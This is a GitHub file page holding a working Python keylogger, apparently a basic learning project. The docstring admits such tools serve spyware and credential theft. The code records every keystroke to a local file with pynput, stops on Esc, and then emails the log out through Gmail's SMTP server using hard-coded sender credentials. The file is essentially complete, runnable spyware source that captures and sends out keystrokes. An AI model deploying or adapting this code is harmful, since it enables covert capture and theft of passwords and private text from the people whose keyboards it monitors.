forked from Kushal997-das/Project-Guidance
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Basic
88 lines (72 loc) · 2.91 KB
/
Basic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
'''
Keyloggers are programs that capture your key strokes. They can be used to keep logs of everything you press
on the keyboard and can be used for malicious purposes, i.e.: spyware, stealing login credentials.
Current keyloggers have lots of functionalities. They record and display the exact date and time of each keystroke,
on which application the keystrokes were entered, easy-to-read logs, etc.
This program is simply a basic keylogger with limited functionality, which are to:
-> Capture and save your keystrokes to a "keylogger.txt" file
-> Send the contents of the file to your email (sender email is gmail with no two-factor authentication)
To run: Open the file in terminal and enter "python keylogger.py".
To escape: Press Esc key to exit the keylogger.
Modules used:
-> smtplib (pre-installed on Python)
-> ssl (pre-installed on Python)
-> pynput (requires installation with "pip install pynput")
'''
# Defines an SMTP client session object to send mail to any internet machine with an SMTP or ESMTP listener daemon
import smtplib
# Provides access to TLS/SSL encryption and peer authentication facilities for network sockets
import ssl
# Allows the control and monitoring of input devices (mouse and keyboard)
from pynput import keyboard
# Replace [email protected] with your email id (everywhere)
sender_mail = "[email protected]"
# prefer using your own email id for receiver's as well.
# Replace [email protected] with your email id (everywhere)
receiver_mail = "[email protected]"
password = "passcode" # Enter your Password here
port = 587
message = """From: [email protected]
Subject: KeyLogs
Text: Keylogs
"""
def write(text):
with open("keylogger.txt", 'a') as f:
f.write(text)
f.close()
def on_key_press(Key):
try:
if (Key == keyboard.Key.enter):
write("\n")
else:
write(Key.char)
except AttributeError:
if Key == keyboard.Key.backspace:
write("\nBackspace Pressed\n")
elif (Key == keyboard.Key.tab):
write("\nTab Pressed\n")
elif (Key == keyboard.Key.space):
write(" ")
else:
temp = repr(Key)+" Pressed.\n"
write(temp)
print("\n{} Pressed\n".format(Key))
def on_key_release(Key):
# This stops the Listener/Keylogger.
# You can use any key you like by replacing "esc" with the key of your choice
if (Key == keyboard.Key.esc):
return False
with keyboard.Listener(on_press=on_key_press, on_release=on_key_release) as listener:
listener.join()
with open("keylogger.txt", 'r') as f:
temp = f.read()
message = message + str(temp)
f.close()
context = ssl.create_default_context()
server = smtplib.SMTP('smtp.gmail.com', port)
server.starttls()
server.login(sender_mail, password)
server.sendmail(sender_mail, receiver_mail, message)
print("Email Sent to ", sender_mail)
server.quit()